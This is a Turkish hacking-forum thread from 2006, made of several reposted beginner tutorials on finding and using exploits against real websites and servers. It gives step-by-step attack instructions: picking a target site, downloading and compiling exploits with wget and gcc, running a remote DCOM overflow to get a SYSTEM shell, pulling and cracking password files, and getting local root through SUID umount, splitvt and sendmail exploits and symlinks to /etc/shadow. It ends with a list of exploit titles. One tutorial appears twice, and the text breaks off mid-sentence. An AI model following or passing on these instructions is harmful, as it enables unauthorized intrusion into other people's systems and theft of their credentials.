Orijinalini görmek için tıklayınız : ExploitLer Hakkında Herşey..
SUSKUN
02-19-2006, 11:12 AM
1- Exploit nedir?
Exploitler belli dilerde yazilmis ve bir kapali kutuda yetki alabilmek icin yada sahip oldugumuz yetkimizi artirmak icin yazilmis programlardir. Birkac turu vardir. Bu programalr internetin en karanlik yuzunu olusturur oyle paralar doner ki exploit yazarlari Dunyadaki eb zengin programcilardir. (Micro$oft u ele almiyoruz cunku bu kisiler tek basina olan kisilerdir.) Cok buyuk paralar doner. Internet Explorer Active X icin yazilmis 10000$ gibi bir ucrete satilan exploit biliyorum. Ama asil konumuz Web icin kullanacagimiz Exploitlerdir. Bence Viruslerden sonra en karizmatik programlar diyebiliriz exploitlere. Bilmeniz gereken baska birsey ise her kapali kutuda her exploit calismaz. kapali kutunun OS una gore exploit kullanabiliriz.
Local Exploitler
Bu Exploitlerin erise bildigimiz kapali kutularda yetkimizi arttirmak icindir. En dusuk yetkiye dahi sahip olsak bir kapali kutuda calistirdigimiz zaman root yetkisine ulasabiliriz. Remote Exploitler
Bu exploitler ise hic bir erisim hakkimiz olmadigi bir uzaktaki kapali kutuyu denetim altina almamizi saglarlar ki bizim icini onemli olan exploitler bunlardir.
2- Shell Nedir ?
Shell Linux OS kullanan bir kapali kutudaki kisitli yetkiler ile size verilen bir alandir. Exploitler Shell de de derlenebilirler. ki ilk olarak analtacagim. Shell de exploit derlemektir.
3- Shell de Exploit Derlemek
Kendimize bir hedef site sececegiz orn: [Only Registered Users Can See Links] ([Only Registered Users Can See Links]) (bir yabanci firma) oncelikli olarak hedef sitenin OS bilgilerini bilmeliyiz (dokumanin sonunda gerekli Linkleri verecegim). Daha sonra kapali kutunun OS una gore exploit imizi buluyoruz (dokuman sonunda exploit linklerinide bulabilirsiniz.) Daha sonra bu OS exploit in destekelyen bir shell hesabimizin olmasi gerekiyorki burda google.com yardimiza yetisiyor. Daha sonra hedef kapali kutu icin uygun exploitmizi host umza upload ediyoruz ki adini degismeyeceksiniz. (orn: bLack.c exploiti) Buradan sonraki asamalar ne kadar karisik sanilsada aslinda en kolay seylerdir. Simdi Linux da shell imizi acalim Linux da yetkimize gore shell acilir. Simdi Shell vasitasi ile exploit i bilgisayarimiza indirelim. bunu yapmak icin "wget [Only Registered Users Can See Links]" komutu ile exploit i bilgisayarimiza indirebiliyoruz. Bu sekildeki bir exploit isimize yaramaz cunku deaktif durumdadir. Aktif duruma getirmek icin GGC Compiler i kullaniriz genelde butun shell lerde mevcuttur. Fakat ucretsiz shell lerde kapatilmis durumda olabiliyor. Simdi exploit bilgisayarimizdadir ama onu goremeyiz exploit i gorebilmek icin shell de "ls" yazarak gorebiliriz. Simdi exploit imizi derleme zamani. Bunun icin "gcc -o bLack bLack.c" yazarak derleyebilirsiniz. Simdi shell de "ls" yazarak exploit imizin derlenmis halinide gorebiliriz (black & black.c) bizim kullanacagimiz bLack.c dir. Derledigimiz exploit imizi kullanmak icinse "./black -h [Only Registered Users Can See Links]" komutu ile kullanabiliyoruz. Exploit imizin calisip calismamasi sizin kendi probleminizdir bazen derlemede hata yapabiliyor insan oglu. Bu derledigimiz exploit ile yapabileceklerimiz kullandigimiz exploit in yetenekleri ile sinirlidir. Mesela sitenin sifre dosyasidir. Sifre dosyasini "etc/passwd" komutu ile cekebiliriz. Eger basarili bir girisimde bulunduysak John The Ripper yada benzeri bir program ile kirarak sifreyi ele gecirebikliriz. Unutmammiz gerekn birsey var her zaman exploit ile sitenin passwd dosyasini cekebilirm diye birsey yoktur. Her zaman sitenin ana dizinie ulasamayabiliriz ki bu tur seyler sizi yildirmasin benim basima cok gelmisti.4- Perl de Exploit Derlemek
Perl de exploit derlemek icin bilgisayarimizda ActivePerl in kurulu olmasi gerekiyor. Eger ActivePerl i kurduysaniz bilgisayarinizda "c:Perl" diye bir kalsor olusacaktir. Simdi Hedef kapali kutumuz uygun exploit imizi de ayarladiktan sonra ki bu exploit mizi "bLack.pl" diye notepad de kaydetmemiz gerekir. "bLack.pl" dosyasini "c:PerlBin" klasoru altina tasimaliyiz. Simdi Derlemek icin "Baslat/Calistir/command yada cmd" yazarak MS-DOS penceresini acalim ve Perl dizininde Bin klasorune girelim (cd.. / cd perl / cd bin) simdi buradayken "perl bLack.pl -h [Only Registered Users Can See Links] ([Only Registered Users Can See Links]) yazin ve exploit mizin ozelliklerine gore yapabilceklerimiz vardir.
5- Ornek bir Uygulama
Dcom Scanner belli bir IP araliginda Dcom acigin olup olmadigi arar. Elimde bu vardi bunu ornek veriyorum Win2k (sp1-sp2-sp3-sp4) ve winXP (sp1) de Dcom acigin arar. (Dcom Scanner in derlenmesini Analtacagim (linux icin) oncelikle Linux a Shell imizde root yetkisine gecelim. "gcc -o dcom2_scanner dcom2_scanner.c" yaziyoruz ve simdi taramaya baslayalim mesela 123.456.789.1 ile 123.456.789.255 araligini tariyacagiz. Bunun icin "./dcom2_scanner 123.456.789.1/24" yazacagiz. karsimiza
123.456.789.1 does not accept DCERPC -- good
123.456.789.2 has both dcom patchs -- good
123.456.789.3 has both dcom patchs -- good
123.456.789.4 has both dcom patchs -- good
** 123.456.789.5 has neither dcom patch -- BAD **
cikar. burda goruldugu gibi 123.456.789.5 nolu IP de dcom acigi tespit edilmistir.
Simdi Dcom exploit imizi derleyelim "gcc -o dcom dcom.c" ver karsimiza sole bisi cikmasi lazim.
[root@bLack root]# ./dcom 5 123.456.789.5
---------------------------------------------------------
- Remote DCOM RPC Buffer Overflow Exploit
- Original code by FlashSky and Benjurry
- Rewritten by HDM
- Using return address of 0x77e9afe3
- Dropping to System Shell...
Microsoft Wind 1985-2000 Microsoft Corp.
(C) Telif Hakkı
C:WINDOWSsystem32>
artik sistemdeyiz.
Linkler
-------
DCOM RPC Overflow Exploit
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
DCom Vulnerability Scanner
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
ActivePerl
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
Dev C++ (windoze altinda C Derlemek icin)
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
Sistem OS ogrenmek icin
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
Exploit Kaynaklari
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
*Alıntıdır*
SUSKUN
02-19-2006, 11:12 AM
Exploit Nedir?
Exploit Nedir, Nasıl Kullanılır ? (Düzenleyen Projman)
İşletim sistemlerin çok kullanıcılı sistemlerde kullanılmaya başlamasıyla birlikte sistemlerde kullanıcıların yetkisi de sözkonusu olmuştur. Kişisel işletim Sistemlerinde (örneğin DOS) sistemi aynı anda tek kullanıcı kullandığı için bütün dosyalara erişebilir, okuyabilir vs. Ancak aynı anda pek çok kişi tarafından kullanılan İşletim sistemlerinde sistemin bir yöneticisi olmak zorundadır ki bu Novell'de supervisor, Unix ve clone'larında root, NT'de administrator olarak adlandırılır. İşte bu çok kullanıcılı sistemlerde yetkisini artırmak isteyen normal kullanıcılar sistemde daha yetkili hale gelebilmek için "exploit" dediğimiz programlar yazmışlardır. Exploitler işletim sistemi üzerindeki herhangi bir programın ek***liğinden yararlanarak kullanıcıyı daha yetkili hale getirmeye yararlar. Exploitler local ve remote olarak ikiye ayrılır. Local exploitler işletim sisteminin bir kullanıcısıyken uygulanabilir, remote exploitlerde ise sistemin bir kullanıcısı olmanıza gerek yoktur. Sistem açıkları ve bu açıkları kullanmak için yazılmış exploitler günden güne artmakta ve her sistem açığı için patch'ler yazılmakta. Bazı İşletim Sistemleri için örnek exploitler:
"overflow" exploiti (FreeBSD'de lprm açığı): Pointer artimetiğini kullanarak (Pointer değişkenler değişkenin içindeki bilgiyle birlikte bellek adresini de tutarlar) tampon belleğe (buffer) bir string kopyala***** taşma oluşturur. Sistemdeki lprm komutunu kullanır. lprm komutu uzaktaki bir yazıcıya gönderilen bir işi iptal etmeye yarar. "lprm -P bloggs" komutuyla iş iptal edilebilirken kuyruktaki ikinci bir iş aynı anda "lprm -P bloggs bloggs" la iptal edilebilir. Bu da buffer owerflow hatası meydana getirir. Bu sayede "root" erişimi sağlanır. Lokal bir exploittir.
Derleyici ve /tmp Hataları (Solaris'de gcc tempfile açığı): Gcc derleyicisinin 2.7.2.x ve önceki sürümlerinde /tmp dizinine (geçici işlemlerin yürütüldüğü dizin. Windows dizini altındaki temp dizini gibi) sembolik link (bir dosyaya ya da dizine ulaşabilmek için konan linkler. Windows'taki .lnk dosyaları gibi) oluşturulur ve bu linkten yararlanarak lokal root hakkı alınır.
Program Hataları (Linux'daki X11Amp Programı açığı): X11Amp çalıştırıldığında ~./X11amp isminde bir dosya oluşturur. Bu hatayı linux'ta şöyle kullanabilirsiniz:
mkdir ~/.x11amp
ln -s /etc/shadow ~/.x11amp/ekl
Bu komutları yazdıktan sonra X11Amp'i çalıştırıp "ekl" 'yi seçin bütün girişleri seçip silin. Program çakılacak ve /etc/shadow dosyasını alabileceksiniz.
Microsoft'un FrontPage Server Extensions'unda karşılaşılan açıklar: Frontpage extensions'un kullanıldığı web sitelerinde pek çok açık bulmak mümkün, örneğin Frontpage 98'de dizin erişim hakları iyi düzenlenmediği için _vti_pvt dizini "WORLD WRITABLE" olarak düzenlenmiş. _vti_pvt dizininde ise "service.pwd" dosyasında şifreler tutulmakta
Daha sonraki yazılarımızda genellikle Microsoft altındaki exploitleri anlatmaya devam edeceğiz.
Exploit Nedir, Nasıl Kullanılır (Bölüm II) (Düzenleyen Kaiowas)
Bug Nedir?
Bug ,kısaca bir işletim sistemi üzerinde bazı hatalı programlar yüzünden meydana gelen sistem açıklığıdır. Bu sistem üzerine kopyalanmış bir oyundan,bir mail programından yada sistem üzerinde ki IRC programından bile meydana gelebilir. Bu hatalar bizim sistem de r00t seviyesine çıkmamızı sağlarlar :-)
Exploit Nedir?
Exploitler , sistemde ki buglar sayesin de r00t seviyesine çıkabilmek için yazılmış programlardır. Exploitler iki şekilde yazılırlar.Local ve Remote.Local exploitleri kullanırken sistemin bir kullanıcısı olmak zorundasınızdır. Fakat remote exploitleri sistem de kaydınız yokken kullanabilirsiniz.
Şimdi bu iki başlığı kavradıktan sonra ,olaya başlıyabiliriz. Gelin Exploit lerle gücümüzü gösterelim :-))
mount/umount açığından başlayabiliriz mesela,
Sistemde /bin dizinine gidin ve umount yada mount isminde bir dosya arayın.. Eğer bulamadıysanız şu komutu yazabilirsiniz.
find / -name umount -print -xdev
Dosyanın nerde olduğunu bulduğunuzda, o dizine gidip dosyanın özelliklerini görmek için şu komutu yazın,
ls -al um*
Eğer dosyanın sahibi r00t sa ,kesinlikle sistemi kapabiliriz.. Bakalım,
avanak:/bin# ls -al um*
-rwsr-sr-x 1 root 8888 Aug 20 1998 umount
avanak:/bin#
Tamam , artık işler çok çok kolaylaştı. Şimdi işimiz bir exploit e kaldı. Vereceğim exploit sayesinde sistemden takır takır r00t alabileceksiniz :-) Exploit i Download etmek için buraya tık edin(umount.c). Bu exploit i ,sisteme yollayıp orada compile etmelisiniz. Bunu yapmak için şu komutu yazın.
gcc umount.c -o umount (umount yerine istediğiniz ismi yazabilirsiniz)
Gcc komutu sayesinde sistemde umount adında çalıştırılabilir bir dosya yaratıcaksınız..
Not : Eger Exploit çalışmazsa,komutun başına ./ takısını koymayı deneyin. Ve ardından 0 - 8 arası bir sayı
ekleyin.Şunun gibi;
./umount 4
yada
./umount 2
Ve sistem elleriniz de ! Artık herşey size kalmış.r00t un neler yapabileceğini anlatmama gerek yok sanırım,
+-+-+-+-+-+-+
Eğer bu yol işe yaramazsa(ki bu beni bayağı şaşırtır),şimdi anlatıcağım yolu denemeniz gerekicek. En sevdiğim Exploit bu diyebilirim. Çünkü en kolayı ve de şu ana kadar bana hiç sorun yüzü göstermedi. "usr/bin" dizininde splitvt isminde bir dosya arayın.Eğer dosya SUID ise yani sahibi r00t ise, olayı bitti sayabiliriz. Bu exploiti sadece "Linux 2-0.3*" sistemlerde kullanabilirsiniz.Download etmek için burayı tık edin.(sp.c)
Bakalım bu şey nasıl çalışıyor?
Dosyayı tabiki ilk olarak sisteme yollayın İlk önce değişikliği farketmeniz için "whoami" komutu ile kim olduğunuzu ögrenin.Kullanıcı isminiz ortaya çıkıcak,
1. Dosyayı "gcc" derleyicisi ile exec(çalıştırılabilir) hale getirin, (gcc sp.c sp)
2. Derlediğiniz dosyayı çalıştırın,
3. "splitvt" adlı dosyayı çalıştırın,
İşiniz bittikten sonra yine "whoami" komutunu çalıştırın.O da ne? r00t da kim yahu? :-)
+-+-+-+-+-+-+
Eheu, bu da çalışmadı diyelim( ki olamaz mümküniyet yok) Tüm Linux dağıtımlarında bulunan bir bug vardır. SendMail bug ı, eğer bugları takip ediyorsanız ,kesinlikle duymuş olmanız lazım. Ben uzun süredir bu bug la ilgilenmiyordum. Belki patch i bile çıkmıştır ..Ama denemek te zarar yok diyorsanız bu kısa exploit i hemen download edin(sm.sh)
..Sisteme yollayın,
Şimdi dosyayı , chmod +x leyin.
chmod +x sm.sh
1 . Dosyayı çalıştırın,
2 . Sizi /tmp dizinine göndericek,
3 . "ls -l" yazın,
4 . Orda SUID bir sh dosyayı olduğunu göreceksiniz,
5 . "whoami" yazıp r00t olup olmadığınıza bakın, eğer değilseniz,
6 . "./sh" yazın, ve şimdi r00t olduğunuzu görebiliceksiniz..
+-+-+-++-+-+-+
Biraz Linux u birakıp diğer sistemlere göz atalım.Şimdi dalıcağımız sistem bir SunOS.UnixBased bir sistem çok az farklılıkarı var.Mesela SunOS ta "gcc" komutu yerine "cc" komutu kullanılıyor.Fakat bunlara pek ihtiyacımız yok.Çünkü şimdi dalıcağımız sistem de exploit kullanmıyacağız.SunOS taki 3-4 tane bug tan bir tanesi "dtappgather" komutunun bir bug i. Ben daha önceden bunu bilmiyordum.Geçenlerde göz attığımız bir SunOS sistemde SegFault ,sayesinde öğrenmiş oldum.Fakat o sistemde çalışmadı.Neyse fazla söze gerek yok .Başlayalım,
Sistemde "dtappgather" adında bir dosya bulunması lazım,bu genelde /var/dt de bulunuyor.Dosyayı buldunuzsa
sorun kalmadı.Bu dosya varsa "generic" de vardır.Tamam şimdi /var/dt/appconfig dizinine girin.
$ ls -al
total 6
drwxr-xr-x 3 root root 512 Feb 3 14:22 .
drwxr-xr-x 5 root root 512 Jun 22 11:08 ..
drwxr-xr-x 4 root root 512 Jun 22 10:24 appmanager
$
"generic" dosyası appmanager adlı dizinin içinde bulunuyor.Şimdi burda yazıcağımız tek bir komut /etc/shadow
dizinindeki unshadowed passwd dosyasını ele geçirmemizi sağlayacak.Komut şu ;
$ ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
Bunu yazdıktan sonra elimize passwd dosyası geçiyor,artık onu bir Passwd Cracker la kırdıktan sonra elimize r00t un
şifreside geçer.
SUSKUN
02-19-2006, 11:12 AM
Exploit Nedir?
Exploit Nedir, Nasıl Kullanılır ? (Düzenleyen Projman)
İşletim sistemlerin çok kullanıcılı sistemlerde kullanılmaya başlamasıyla birlikte sistemlerde kullanıcıların yetkisi de sözkonusu olmuştur. Kişisel işletim Sistemlerinde (örneğin DOS) sistemi aynı anda tek kullanıcı kullandığı için bütün dosyalara erişebilir, okuyabilir vs. Ancak aynı anda pek çok kişi tarafından kullanılan İşletim sistemlerinde sistemin bir yöneticisi olmak zorundadır ki bu Novell'de supervisor, Unix ve clone'larında root, NT'de administrator olarak adlandırılır. İşte bu çok kullanıcılı sistemlerde yetkisini artırmak isteyen normal kullanıcılar sistemde daha yetkili hale gelebilmek için "exploit" dediğimiz programlar yazmışlardır. Exploitler işletim sistemi üzerindeki herhangi bir programın eksikliğinden yararlanarak kullanıcıyı daha yetkili hale getirmeye yararlar. Exploitler local ve remote olarak ikiye ayrılır. Local exploitler işletim sisteminin bir kullanıcısıyken uygulanabilir, remote exploitlerde ise sistemin bir kullanıcısı olmanıza gerek yoktur. Sistem açıkları ve bu açıkları kullanmak için yazılmış exploitler günden güne artmakta ve her sistem açığı için patch'ler yazılmakta. Bazı İşletim Sistemleri için örnek exploitler:
"overflow" exploiti (FreeBSD'de lprm açığı): Pointer artimetiğini kullanarak (Pointer değişkenler değişkenin içindeki bilgiyle birlikte bellek adresini de tutarlar) tampon belleğe (buffer) bir string kopyalayarak taşma oluşturur. Sistemdeki lprm komutunu kullanır. lprm komutu uzaktaki bir yazıcıya gönderilen bir işi iptal etmeye yarar. "lprm -P bloggs" komutuyla iş iptal edilebilirken kuyruktaki ikinci bir iş aynı anda "lprm -P bloggs bloggs" la iptal edilebilir. Bu da buffer owerflow hatası meydana getirir. Bu sayede "root" erişimi sağlanır. Lokal bir exploittir.
Derleyici ve /tmp Hataları (Solaris'de gcc tempfile açığı): Gcc derleyicisinin 2.7.2.x ve önceki sürümlerinde /tmp dizinine (geçici işlemlerin yürütüldüğü dizin. Windows dizini altındaki temp dizini gibi) sembolik link (bir dosyaya ya da dizine ulaşabilmek için konan linkler. Windows'taki .lnk dosyaları gibi) oluşturulur ve bu linkten yararlanarak lokal root hakkı alınır.
Program Hataları (Linux'daki X11Amp Programı açığı): X11Amp çalıştırıldığında ~./X11amp isminde bir dosya oluşturur. Bu hatayı linux'ta şöyle kullanabilirsiniz:
mkdir ~/.x11amp
ln -s /etc/shadow ~/.x11amp/ekl
Bu komutları yazdıktan sonra X11Amp'i çalıştırıp "ekl" 'yi seçin bütün girişleri seçip silin. Program çakılacak ve /etc/shadow dosyasını alabileceksiniz.
Microsoft'un FrontPage Server Extensions'unda karşılaşılan açıklar: Frontpage extensions'un kullanıldığı web sitelerinde pek çok açık bulmak mümkün, örneğin Frontpage 98'de dizin erişim hakları iyi düzenlenmediği için _vti_pvt dizini "WORLD WRITABLE" olarak düzenlenmiş. _vti_pvt dizininde ise "service.pwd" dosyasında şifreler tutulmakta
Daha sonraki yazılarımızda genellikle Microsoft altındaki exploitleri anlatmaya devam edeceğiz.
Exploit Nedir, Nasıl Kullanılır (Bölüm II) (Düzenleyen Kaiowas)
Bug Nedir?
Bug ,kısaca bir işletim sistemi üzerinde bazı hatalı programlar yüzünden meydana gelen sistem açıklığıdır. Bu sistem üzerine kopyalanmış bir oyundan,bir mail programından yada sistem üzerinde ki IRC programından bile meydana gelebilir. Bu hatalar bizim sistem de r00t seviyesine çıkmamızı sağlarlar :-)
Exploit Nedir?
Exploitler , sistemde ki buglar sayesin de r00t seviyesine çıkabilmek için yazılmış programlardır. Exploitler iki şekilde yazılırlar.Local ve Remote.Local exploitleri kullanırken sistemin bir kullanıcısı olmak zorundasınızdır. Fakat remote exploitleri sistem de kaydınız yokken kullanabilirsiniz.
Şimdi bu iki başlığı kavradıktan sonra ,olaya başlıyabiliriz. Gelin Exploit lerle gücümüzü gösterelim :-))
mount/umount açığından başlayabiliriz mesela,
Sistemde /bin dizinine gidin ve umount yada mount isminde bir dosya arayın.. Eğer bulamadıysanız şu komutu yazabilirsiniz.
find / -name umount -print -xdev
Dosyanın nerde olduğunu bulduğunuzda, o dizine gidip dosyanın özelliklerini görmek için şu komutu yazın,
ls -al um*
Eğer dosyanın sahibi r00t sa ,kesinlikle sistemi kapabiliriz.. Bakalım,
avanak:/bin# ls -al um*
-rwsr-sr-x 1 root 8888 Aug 20 1998 umount
avanak:/bin#
Tamam , artık işler çok çok kolaylaştı. Şimdi işimiz bir exploit e kaldı. Vereceğim exploit sayesinde sistemden takır takır r00t alabileceksiniz :-) Exploit i Download etmek için buraya tık edin(umount.c). Bu exploit i ,sisteme yollayıp orada compile etmelisiniz. Bunu yapmak için şu komutu yazın.
gcc umount.c -o umount (umount yerine istediğiniz ismi yazabilirsiniz)
Gcc komutu sayesinde sistemde umount adında çalıştırılabilir bir dosya yaratıcaksınız..
Not : Eger Exploit çalışmazsa,komutun başına ./ takısını koymayı deneyin. Ve ardından 0 - 8 arası bir sayı
ekleyin.Şunun gibi;
./umount 4
yada
./umount 2
Ve sistem elleriniz de ! Artık herşey size kalmış.r00t un neler yapabileceğini anlatmama gerek yok sanırım,
+-+-+-+-+-+-+
Eğer bu yol işe yaramazsa(ki bu beni bayağı şaşırtır),şimdi anlatıcağım yolu denemeniz gerekicek. En sevdiğim Exploit bu diyebilirim. Çünkü en kolayı ve de şu ana kadar bana hiç sorun yüzü göstermedi. "usr/bin" dizininde splitvt isminde bir dosya arayın.Eğer dosya SUID ise yani sahibi r00t ise, olayı bitti sayabiliriz. Bu exploiti sadece "Linux 2-0.3*" sistemlerde kullanabilirsiniz.Download etmek için burayı tık edin.(sp.c)
Bakalım bu şey nasıl çalışıyor?
Dosyayı tabiki ilk olarak sisteme yollayın İlk önce değişikliği farketmeniz için "whoami" komutu ile kim olduğunuzu ögrenin.Kullanıcı isminiz ortaya çıkıcak,
1. Dosyayı "gcc" derleyicisi ile exec(çalıştırılabilir) hale getirin, (gcc sp.c sp)
2. Derlediğiniz dosyayı çalıştırın,
3. "splitvt" adlı dosyayı çalıştırın,
İşiniz bittikten sonra yine "whoami" komutunu çalıştırın.O da ne? r00t da kim yahu? :-)
+-+-+-+-+-+-+
Eheu, bu da çalışmadı diyelim( ki olamaz mümküniyet yok) Tüm Linux dağıtımlarında bulunan bir bug vardır. SendMail bug ı, eğer bugları takip ediyorsanız ,kesinlikle duymuş olmanız lazım. Ben uzun süredir bu bug la ilgilenmiyordum. Belki patch i bile çıkmıştır ..Ama denemek te zarar yok diyorsanız bu kısa exploit i hemen download edin(sm.sh)
..Sisteme yollayın,
Şimdi dosyayı , chmod +x leyin.
chmod +x sm.sh
1 . Dosyayı çalıştırın,
2 . Sizi /tmp dizinine göndericek,
3 . "ls -l" yazın,
4 . Orda SUID bir sh dosyayı olduğunu göreceksiniz,
5 . "whoami" yazıp r00t olup olmadığınıza bakın, eğer değilseniz,
6 . "./sh" yazın, ve şimdi r00t olduğunuzu görebiliceksiniz..
+-+-+-++-+-+-+
Biraz Linux u birakıp diğer sistemlere göz atalım.Şimdi dalıcağımız sistem bir SunOS.UnixBased bir sistem çok az farklılıkarı var.Mesela SunOS ta "gcc" komutu yerine "cc" komutu kullanılıyor.Fakat bunlara pek ihtiyacımız yok.Çünkü şimdi dalıcağımız sistem de exploit kullanmıyacağız.SunOS taki 3-4 tane bug tan bir tanesi "dtappgather" komutunun bir bug i. Ben daha önceden bunu bilmiyordum.Geçenlerde göz attığımız bir SunOS sistemde SegFault ,sayesinde öğrenmiş oldum.Fakat o sistemde çalışmadı.Neyse fazla söze gerek yok .Başlayalım,
Sistemde "dtappgather" adında bir dosya bulunması lazım,bu genelde /var/dt de bulunuyor.Dosyayı buldunuzsa
sorun kalmadı.Bu dosya varsa "generic" de vardır.Tamam şimdi /var/dt/appconfig dizinine girin.
$ ls -al
total 6
drwxr-xr-x 3 root root 512 Feb 3 14:22 .
drwxr-xr-x 5 root root 512 Jun 22 11:08 ..
drwxr-xr-x 4 root root 512 Jun 22 10:24 appmanager
$
"generic" dosyası appmanager adlı dizinin içinde bulunuyor.Şimdi burda yazıcağımız tek bir komut /etc/shadow
dizinindeki unshadowed passwd dosyasını ele geçirmemizi sağlayacak.Komut şu ;
$ ln -s /etc/shadow /var/dt/appconfig/appmanager/generic-display-0
Bunu yazdıktan sonra elimize passwd dosyası geçiyor,artık onu bir Passwd Cracker la kırdıktan sonra elimize r00t un
şifreside geçer.
Intruder Client 1.00 Remote Command Execution & DoS Exploit
phpBB 2.0.15 Remote PHP Code Execution Exploit (metasploit)
Open Bulletin Board <= 1.0.5 SQL Injection Exploit
SUN Solaris SPARC / x86 Local Socket Hijack Exploit
Internet Explorer javaprxy.dll COM Object Exploit (unpatched) (update)
Mozilla FireFox <= 1.0.1 Remote GIF Heap Overflow Exploit
Drupal <= 4.5.3 & <= 4.6.1 Comments PHP Injection Exploit
Internet Download Manager <= 4.05 Input URL Stack Overflow Exploit
SUN Solaris SPARC / x86 Local Socket Hijack Exploit
Willing Webcam 2.8 Licence Info Disclosure Local Exploit
Access Remote PC 4.5.1 Local Password Disclosure Exploit
sudo 1.3.1 - 1.6.8p Pathname Validation Local Root Exploit (openbsd)
PrivaShare TCP / IP Denial of Service Exploit
AnalogX SimpleServer WWW <= 1.05 Denial of Service Exploit
Xoops <= 2.0.11 xmlrpc.php SQL Injection Exploit
phpBB 2.0.15 (highlight) Database Authentication Details Exploit
Internet Explorer javaprxy.dll COM Object Exploit (Unpatched)
phpBB <= 2.0.15 viewtopic.php Remote PHP Code Execution
Message Queuing Buffer Overflow Universal Exploit (MS05-017) (v.0.3)
Wordpress <= 1.5.1.2 xmlrpc Interface SQL Injection Exploit
Solaris 9 / 10 ld.so Local Root Exploit (2)
Message Queuing Buffer Overflow Universal Exploit (MS05-017) (v.0.3)
Solaris 9 / 10 ld.so Local Root Exploit (1)
ASPNuke <= 0.80 (article.asp) SQL Injection Exploit
Stream / Raped Denial of Service Attack (win version)
ASPNuke <= 0.80 (comment_post.asp) SQL Injection Exploit
PHP-Fusion <= 6.00.105 Accessible Database Backups Download Exploit
UBB Threads < 6.5.2 Beta (mailthread.php) SQL Injection Exploit
IP-DATALOOK <= 1.3 Local Denial of Service Exploit
Microsoft Outlook Express NNTP Buffer Overflow Exploit (MS05-030)
SUSKUN
02-19-2006, 11:12 AM
Exploitleri önce tanıyalım :
Exploistler serverlardaki açıkları kullanarak o serverda yada sitede en yetkili kişi olmamıza
yani root olmamıza yarayan c yada perl dillerinde yazılmış kodlardan oluşan programcıklardır.
bu programcıkların yazılması kolay değildir . çünkü ileri seviyede c yada perl bilmek lazım
buda yetmiyor serverlar ve sitelerden ileri seviyede anlaması gerekir . çünkü exlerin
işe yaraması için kodların sorunsuz çalışması ve serverdaki yada sitedeki açığın iyi algılan
mış olması lazım . exploitler genellikle c dilinde yazılırlar az sayıda perl dili ile yazılmış
expliots vardır. exploitler yazıldıkları dile göre uzantılarını alırlar yani c programlama
dilinde yazıldıysalar *.c perl progralma dilinde yazılmışlarsa *.pl uzantılarnı alırlar .
exploistleri kullanmak için elinizde kullancağınız shell yada active perl olması lazım
shell dediğim şey linux işletim sisteminin windows işlteim sistemlerindeki msdos gibidir
fakat msdosdan daha çok özelliği vardır . bunları şimdi anlatmıyorum çünkü shell ile ilgili
bende dahil bir çok arkadaş döküman yazdı bir tanesini okursanız epey bilginiz olur. active
perlde windows içinde perl dili ile yazılmış exploitsler derlemek için kullanılan bir ortamdır
bunuda ileriki bölümlerde açıklaycağım . şimdi şunu belirteyim ex. derlemek için elinizde
ya shell yada perl olması lazım aksi halde hiç bir şey yapamazsınız . shell konusunda bir
şeyde free shellerde şu anda ex. derleyemiyoruz . elinizde ya paralı shell olacak ki bunların
bazılarındada derleme yapamıyoruz . bence kendinize linux alın bu konuda benim shell için
çözümler yazı dizimi okuyun . active perli ise adresinden indirebilirsin onunda kurulumunu
bu dökümanın sonunda açıklaycağım . şunuda belirteyim c dilindeki ex.ler shellde derlenir
perl dilinde yazılmış ex. ler active perlde derlenir active perlide [Only Registered Users Can See Links] ([Only Registered Users Can See Links])
adresinden indirebilirsiniz
başlıyoruz ...
1- shellde exploist derleme
2- perlde exploits derleme
1- shellde exploits derleme
expliots derlemek için bir şekilde shell temin ettiniz diyelim . ve bir tanede site adresi
belirliyelim kendimize ör. [Only Registered Users Can See Links] ([Only Registered Users Can See Links]) olsun . şimdi öncelikle sitenin nasıl bir sisemde
kurulu olduğunu tespit etmeliyiz . nedenmi çünkü sitenin sistemini bilmeden doğru exploistsi
bulamayız ve sisteme giremeyiz . şimdi site hakkında bilgi sahibi olmanın bir sürü yolu var
fakat ben tahribat.com daki denyo launchu tavsiye ediyorum . çünkü çabukcak amacımıza ulaşıyoruz
şimdi bu programı indirin indirdikten ve açtıkdan sonra site info tools a girin oaraya [Only Registered Users Can See Links] ([Only Registered Users Can See Links])
yazın ve server versio u tıklayın sonrada program site ilgili bilgileri size ulaştıracaktır . diyelim bunlarıda
yaptınız geldi sitede kullancağımız exleri bulmaya bunları şu adreslerden temin edebilirsiniz
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
[Only Registered Users Can See Links] ([Only Registered Users Can See Links])
bu adreslerden bir çok yeni ve expliostler bulabilirsiniz şimdi biz bu sayfalardan aradığımız exploisti eskiden arama yoluyla
bulabiliyorduk ve bu işe yeni başlayan arkadaşlar fazla zorlanmıyorlardı fakat şimdi siteler arama bölümlerini kaldırınca
yeni başlayan arkadaşlar exploistleri bulmakda zorlanıyorlar . şu anda bu konuda tek tek bakmak gerekiyor fakat
bu durumdada google.com imdadımıza yetişiyor sitenin serverının versionunu yazıp yanına exploist eklediğimizde önümüze
bir sürü exploist çıkacaktır . şimdi bu şekilde exploisti bulduk diyelim hemen bu exploitsi pcmize indiriyoruz . bundan
sonra explositi kullanmak için kendimize bir bedava alan veren serverlardan bir tane alan almalıyız . çünkü indirdiğimiz
exploitsi sürekli kullanmak için kendimize ait bir yerde bulunması iyi olacaktır .diyelimki bulduğunuz exploits a.c bunu
mynetten aldığımız hosta attık diyelim . şunu belirteyim kesinlikle adını değiştirmeyin bulduğunuz sitede adı neyse o şekilde
pcnize kaydedin . şimdi hostada exploistis attık . bundan sonraki aşamalar kolay . hemen shelle geçelim linuxunuz varsa
linuxa paralı shelliniz varsa onuda winden açın bunuda putty programı ile yapabilirsiniz . iki şekilden biri ile shell e geçtiniz diyelim
şimdi burda yapmanız gereken exploisti öncelikle pcnize çekmek aslında exploisti çekmeden pcnizin ana dizininde bulundursanız
